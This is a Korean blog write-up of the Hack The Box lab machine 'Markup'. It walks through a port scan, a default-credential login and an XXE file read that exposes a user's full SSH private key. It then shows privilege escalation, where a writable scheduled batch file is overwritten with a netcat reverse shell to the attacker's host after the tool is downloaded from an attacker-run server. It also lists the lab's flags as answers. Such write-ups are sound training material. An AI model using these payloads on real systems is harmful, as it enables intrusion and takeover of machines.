Season 1/워게임

[Starting Point] TIER 1 - Markup

작성자 - LRTK
$ sudo nmap -sV -p -T5 --open 10.129.95.192 tarting Nmap 7.93 ( https://nmap.org ) at 2023-12-14 23:35 GMT Nmap scan report for 10.129.95.192 Host is up (0.25s latency). Not shown: 65532 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28) 443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 309.00 seconds

nmap 옵션 설명

  • -sV: 서비스 버전 감지 활성화 옵션. 활성화되면, nmap은 타겟의 포트에 연결된 서비스의 이름과 버전을 파악하려고 시도함.
  • -p-: 모든 포트(1부터 65535까지)를 스캔하겠다는 옵션. 이는 가능한 모든 포트를 대상으로 스캔합니다
  • -T5: 스캔 타이밍을 설정하는 옵션. 0부터 5까지 설정할 수 있으며, 숫자가 높을수록 스캔 속도가 빨라지지만, 네트워크 부하와 탐지 가능성이 증가합니다.
  • --open: 열려 있는 포트만 결과에 표시하라는 옵션. 이는 스캔 결과에서 열려 있는 포트만 보여줍니다.

정답: 2.4.41

 

정답: admin:password

 

정답: order

 

정답: 1.0

 

XML 파서의 취약점을 이용하여 원격 시스템에서 데이터를 읽거나, 서버 측 요청 위조(SSRF), 서비스 거부(Denial of Service, DoS) 공격 등을 수행할 수 있음.

 

XXE 공격의 기본 원리는 XML 문서 내에 외부 엔티티를 포함시키는 것임. XML 엔티티는 문서 내에서 재사용할 수 있는 값을 정의하는데 사용되는데, 이를 외부 엔티티로 확장하여 공격자가 서버의 로컬 파일을 읽거나 외부 시스템과의 상호작용을 시도할 수 있음.

 

XXE 공격을 방지하기 위한 방법

  • XML 파서 구성 변경: 외부 엔티티와 DTD(DocType Definitions)의 처리를 비활성화합니다.
  • 화이트리스트 기반의 입력 검증: 사용자로부터 받은 입력에 대해 엄격한 검증을 수행합니다.
  • 보안 업데이트 및 패치 적용: 사용 중인 소프트웨어와 라이브러리를 최신 상태로 유지합니다.

 

참고자료

정답: XML External Entity

정답: Daniel

 

XXE 공격을 통해 파일의 내용을 응답 값에 표시할 수 있다는 것을 확인하였다.

 

페이지 소스코드 내 주석으로 표시된 사용자 danial의 SSH 키를 요청하였다.

해당 파일이 존재하여 응답에 SSH 키의 데이터를 볼 수 있었다.

 

$ echo "-----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----" > id_rsa $ chmod 400 id_rsa $ ls -al id_rsa -r-------- 1 htb-lrtk htb-lrtk 2602 Dec 15 00:33 id_rsa

XXE를 통해 얻은 SSH 키의 데이터를 복사하여 로컬에 id_rsa 파일을 생성하였다.
또한 SSH 키의 파일 권한이 400 보다 높으면 사용을 못하기 때문에 chmod 명령을 통해 권한을 400으로 수정하였다.

 

$ ssh -i id_rsa daniel@10.129.95.192

생성한 SSH 키를 이용하여 공격 대상에 SSH로 접근하였다.

 

daniel@MARKUP C:\Users\daniel\Desktop>cd C:\ daniel@MARKUP C:\>dir Volume in drive C has no label. Volume Serial Number is BA76-B4E3 Directory of C:\ 03/12/2020 02:56 AM <DIR> Log-Management 09/14/2018 11:12 PM <DIR> PerfLogs 07/28/2021 01:01 AM <DIR> Program Files 09/14/2018 11:21 PM <DIR> Program Files (x86) 07/28/2021 02:38 AM 0 Recovery.txt 03/05/2020 04:40 AM <DIR> Users 07/28/2021 01:16 AM <DIR> Windows 03/05/2020 09:15 AM <DIR> xampp 1 File(s) 0 bytes 7 Dir(s) 7,386,136,576 bytes free daniel@MARKUP C:\>cd Log-Management daniel@MARKUP C:\Log-Management>dir Volume in drive C has no label. Volume Serial Number is BA76-B4E3 Directory of C:\Log-Management 03/12/2020 02:56 AM <DIR> . 03/12/2020 02:56 AM <DIR> .. 03/06/2020 01:42 AM 346 job.bat 1 File(s) 346 bytes 2 Dir(s) 7,386,136,576 bytes free

정답: job.bat

 

daniel@MARKUP C:\Log-Management>type job.bat @echo off FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V IF (%adminTest%)==(Access) goto noAdmin for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G") echo. echo Event Logs have been cleared! goto theEnd :do_clear wevtutil.exe cl %1 goto :eof :noAdmin echo You must run this script as an Administrator! :theEnd exit

정답: wevtutil.exe

 

daniel@MARKUP C:\Users\daniel\Desktop>dir Volume in drive C has no label. Volume Serial Number is BA76-B4E3 Directory of C:\Users\daniel\Desktop 03/05/2020 06:18 AM <DIR> . 03/05/2020 06:18 AM <DIR> .. 03/05/2020 06:18 AM 35 user.txt 1 File(s) 35 bytes 2 Dir(s) 7,386,136,576 bytes free daniel@MARKUP C:\Users\daniel\Desktop>type user.txt 032d2fc8952a8c24e39c8f0ee9918ef7

정답: 032d2fc8952a8c24e39c8f0ee9918ef7

 

daniel@MARKUP C:\Log-Management>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

권한 설명

  • SeChangeNotifyPrivilege: 파일 시스템 내에서 상위 디렉토리의 권한 없이도 하위 디렉토리에 접근할 수 있는 권한
  • SeIncreaseWorkingSetPrivilege: 프로세스가 사용할 수 있는 메모리 양을 증가시키는 권한

관리자 권한

  • SeDebugPrivilege: 모든 시스템 프로세스의 메모리에 접근하고 수정할 수 있는 디버깅 권한
  • SeTakeOwnershipPrivilege: 시스템 내의 파일이나 객체에 대한 소유권을 변경할 수 있는 권한
  • SeBackupPrivilege 및 SeRestorePrivilege: 보안 설정을 무시하고 시스템 파일 및 데이터를 백업하고 복원할 수 있는 권한
  • SeRemoteShutdownPrivilege: 시스템을 원격으로 종료하거나 재시작할 수 있는 권한
  • SeChangeNotifyPrivilege: 파일 시스템 내에서 상위 디렉토리의 권한 없이도 하위 디렉토리에 접근할 수 있는 권한. 관리자와 일반 사용자 모두에게 부여됨
  • SeSecurityPrivilege: 보안 로그와 관련된 설정을 수정할 수 있는 권한

daniel의 권한 확인 시 관리자 권한은 존재하지 않는 것으로 확인된다.

 

daniel@MARKUP C:\Log-Management>type job.bat @echo off FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V IF (%adminTest%)==(Access) goto noAdmin for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G") echo. echo Event Logs have been cleared! goto theEnd :do_clear wevtutil.exe cl %1 goto :eof :noAdmin echo You must run this script as an Administrator! :theEnd exit

wevtutil.exe
이벤트 로그와 발행자에 대한 정보를 검색할 수 있도록 해줍니다. 이 명령어를 사용하여 이벤트 매니페스트를 설치하고 제거하고, 쿼리를 실행하며, 로그를 내보내고, 보관하고, 지울 수도 있습니다.

  • cl 옵션 : 지정된 이벤트 로그에서 이벤트를 지웁니다. /bu 옵션을 사용하면 지워진 이벤트를 백업할 수 있습니다.

Log와 관련이 있어 보이는 디렉터리 내 존재하는 job.bat을 확인 시 wevtutil.exe를 통해 이벤트 로그를 지우는 것을 알 수 있었다.

 

FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V IF (%adminTest%)==(Access) goto noAdmin

또한 위 코드를 통해 bcdedit 명령의 결과에 Access 문자열이 존재한다면, noAdmin 함수로 이동하여 종료되는 것을 확인 할 수 있었다. 즉, wevtutill.exe은 관리자 권한으로 동작하는 프로그램이라는 것이다.

 

daniel@MARKUP C:\Log-Management>icacls job.bat job.bat BUILTIN\Users:(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) Successfully processed 1 files; Failed processing 0 files

icacls 명령을 통해 job.bat의 권한을 확인 시 Users 사용자 그룹이 모든 권한을 가지고 있다는 것을 확인할 수 있다.

  1. BUILTIN\Users:(F): 'Users' 사용자 그룹은 job.bat 파일에 대해 전체 권한(Full control)을 가짐
  2. NT AUTHORITY\SYSTEM:(I)(F): 'SYSTEM' 계정은 상속된(Inherited) 전체 권한을 가짐
  3. BUILTIN\Administrators:(I)(F): 'Administrators' 그룹 또한 상속된 전체 권한을 가짐
  4. BUILTIN\Users:(I)(RX): 'Users' 그룹은 상속된 읽기 및 실행(Read and eXecute) 권한을 가짐

 

daniel@MARKUP C:\Log-Management> powershell Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\Log-Management> schtasks Folder: \ TaskName Next Run Time Status ======================================== ====================== =============== INFO: There are no scheduled tasks presently available at your access level.

job.bat의 작업 스케줄을 확인하려고 했지만, 관리자 권한만 확인할 수 있었다.

 

PS C:\Log-Management> ps "wevtutil" Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 33 3 472 1520 2404 1 wevtutil

때문에 ps 명령을 사용하여 wevtutil.exe 동작 확인하였고, job.bat이 동작했다는 뜻과 동일하였다. 그럼, job.bat 파일 수정 권한이 존재하여 해당 bat 스크립트에 netcat를 동작 시키도록 코드를 넣는 시나리오를 생각하였다.


그렇게 하면, 관리자 권한을 가진 프로세스가 자동으로 job.bat를 실행 시켜 로컬 PC에서 netcat으로 관리자 권한에 접근할 수 있지 않을까라는 생각 때문이다.

 

PS C:\Log-Management> wget https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe -outfile nc64.exe wget : The remote name could not be resolved: 'github.com' At line:1 char:1 + wget https://github.com/rahuldottech/netcat-for-windows/releases/down ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

피해자 서버에서 직접 다운로드 하여고 했지만, HTB에서 페쇄망으로 구축하였기 때문에 다운로드에 실패하였다.

 

# Local 환경 $ wget https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe --2023-12-15 02:37:32-- https://github.com/rahuldottech/netcat-for-windows/releases/download/1.12/nc64.exe Resolving github.com (github.com)... 20.205.243.166 Connecting to github.com (github.com)|20.205.243.166|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/149936095/2ebb6500-bef8-11e8-9720-0b97e7c6c78e?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231215%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231215T023734Z&X-Amz-Expires=300&X-Amz-Signature=1b6328f204a9814a3a6709e7e90ec68fa381b1fd43e0a76c705fbc55d068ba89&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=149936095&response-content-disposition=attachment%3B%20filename%3Dnc64.exe&response-content-type=application%2Foctet-stream [following] --2023-12-15 02:37:32-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/149936095/2ebb6500-bef8-11e8-9720-0b97e7c6c78e?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20231215%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20231215T023734Z&X-Amz-Expires=300&X-Amz-Signature=1b6328f204a9814a3a6709e7e90ec68fa381b1fd43e0a76c705fbc55d068ba89&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=149936095&response-content-disposition=attachment%3B%20filename%3Dnc64.exe&response-content-type=application%2Foctet-stream Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ... Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 45272 (44K) [application/octet-stream] Saving to: ‘nc64.exe’ nc64.exe 100%[=====================================================================================================>] 44.21K --.-KB/s in 0.02s 2023-12-15 02:37:33 (2.16 MB/s) - ‘nc64.exe’ saved [45272/45272] $ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

그래서 로컬 환경에서 다운로드 후 python을 이용하여 전달하기로 하였다.

 

# 피해자 서버 PS C:\Log-Management> wget 10.10.14.121:8000/nc64.exe -outfile nc64.exe PS C:\Log-Management> dir Directory: C:\Log-Management Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/6/2020 1:42 AM 346 job.bat -a---- 12/14/2023 7:40 PM 45272 nc64.exe

로컬 환경의 웹 서버에 접근하여 netcat를 다운로드하였다.

 

# Local 환경 $ sudo nc -lvnp 1234 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234

피해자의 서버에 netcat 다운로드가 완료되면, 로컬 환경에서 netcat 서버를 열어줬다.

 

# 피해자 서버 daniel@MARKUP C:\Log-Management>echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.121 1234 > C:\Log-Management\job.bat

피해자의 서버에서 job.bat의 내용을 cmd.exe으로 공격자의 서버에 연결하겠다는 리버스쉘 코드를 넣었다.

 

$ sudo nc -lvnp 1234 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.129.95.192. Ncat: Connection from 10.129.95.192:49737. Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt f574a3e7650cebd8c39784299cb570f8

시간이 조금 지나면, 작업 스케줄러에 의해서 job.bat 파일이 동작하고, 로컬 환경의 netcat에 접근하게 된다.

정답: f574a3e7650cebd8c39784299cb570f8

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.